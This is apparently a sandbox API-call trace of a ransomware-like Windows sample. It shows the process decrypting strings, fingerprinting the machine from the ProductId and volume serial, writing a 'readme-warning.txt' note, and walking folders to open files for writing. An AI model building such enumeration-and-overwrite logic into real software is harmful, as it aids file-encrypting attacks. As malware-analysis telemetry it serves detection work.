[0142.278] GetProcessHeap () returned 0x2a0000 [0142.278] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0142.278] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0142.278] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0142.278] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.278] GetProcessHeap () returned 0x2a0000 [0142.278] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0142.278] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0142.278] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ec88 | out: pbData=0x2c1668, pdwDataLen=0x290ec88) returned 1 [0142.278] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.278] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0142.278] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0142.278] RegCloseKey (hKey=0x114) returned 0x0 [0142.278] GetProcessHeap () returned 0x2a0000 [0142.279] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0142.279] GetProcessHeap () returned 0x2a0000 [0142.279] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0142.279] GetProcessHeap () returned 0x2a0000 [0142.279] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1668 [0142.279] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0142.279] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1668, pdwDataLen=0x290ea5c | out: pbData=0x2c1668, pdwDataLen=0x290ea5c) returned 1 [0142.279] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.279] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0142.279] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0142.279] GetProcessHeap () returned 0x2a0000 [0142.279] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1668 | out: hHeap=0x2a0000) returned 1 [0142.279] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0142.279] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0142.279] GetProcessHeap () returned 0x2a0000 [0142.279] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f5720 [0142.279] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\readme-warning.txt") returned 73 [0142.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.280] WriteFile (in: hFile=0x114, lpBuffer=0x2f5720*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f5720*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0142.281] CloseHandle (hObject=0x114) returned 1 [0142.281] GetProcessHeap () returned 0x2a0000 [0142.281] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.281] GetProcessHeap () returned 0x2a0000 [0142.281] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5720 | out: hHeap=0x2a0000) returned 1 [0142.281] GetProcessHeap () returned 0x2a0000 [0142.281] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0142.281] GetProcessHeap () returned 0x2a0000 [0142.281] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0142.281] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0142.281] GetProcessHeap () returned 0x2a0000 [0142.281] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0142.281] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Help", cAlternateFileName="")) returned 1 [0142.281] GetProcessHeap () returned 0x2a0000 [0142.281] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x78) returned 0x2b9ae0 [0142.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0142.282] GetProcessHeap () returned 0x2a0000 [0142.282] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0142.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0142.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0142.282] GetProcessHeap () returned 0x2a0000 [0142.282] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27a) returned 0x2c7d48 [0142.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0142.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0142.282] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0142.282] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0142.282] GetProcessHeap () returned 0x2a0000 [0142.282] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0142.282] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0142.282] GetProcessHeap () returned 0x2a0000 [0142.282] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x76) returned 0x2b9ae0 [0142.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0142.283] GetProcessHeap () returned 0x2a0000 [0142.283] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0142.283] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0142.284] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0142.284] GetProcessHeap () returned 0x2a0000 [0142.284] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x278) returned 0x2c7d48 [0142.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.285] GetLastError () returned 0x5 [0142.285] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0142.285] GetProcessHeap () returned 0x2a0000 [0142.285] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.286] GetProcessHeap () returned 0x2a0000 [0142.286] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.286] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.286] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.286] GetProcessHeap () returned 0x2a0000 [0142.286] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.294] GetLastError () returned 0x5 [0142.294] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.294] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.294] GetProcessHeap () returned 0x2a0000 [0142.294] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.294] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0142.295] GetProcessHeap () returned 0x2a0000 [0142.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.295] GetProcessHeap () returned 0x2a0000 [0142.295] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.295] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.295] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.295] GetProcessHeap () returned 0x2a0000 [0142.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.296] GetLastError () returned 0x5 [0142.296] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.296] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.297] GetProcessHeap () returned 0x2a0000 [0142.297] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0142.297] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0142.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.297] GetLastError () returned 0x5 [0142.297] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0142.297] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0142.297] GetProcessHeap () returned 0x2a0000 [0142.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0142.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0142.298] GetProcessHeap () returned 0x2a0000 [0142.298] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0142.298] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.298] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0142.298] GetProcessHeap () returned 0x2a0000 [0142.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2f32d0 [0142.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.298] GetLastError () returned 0x5 [0142.298] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0142.298] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0142.298] GetProcessHeap () returned 0x2a0000 [0142.298] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 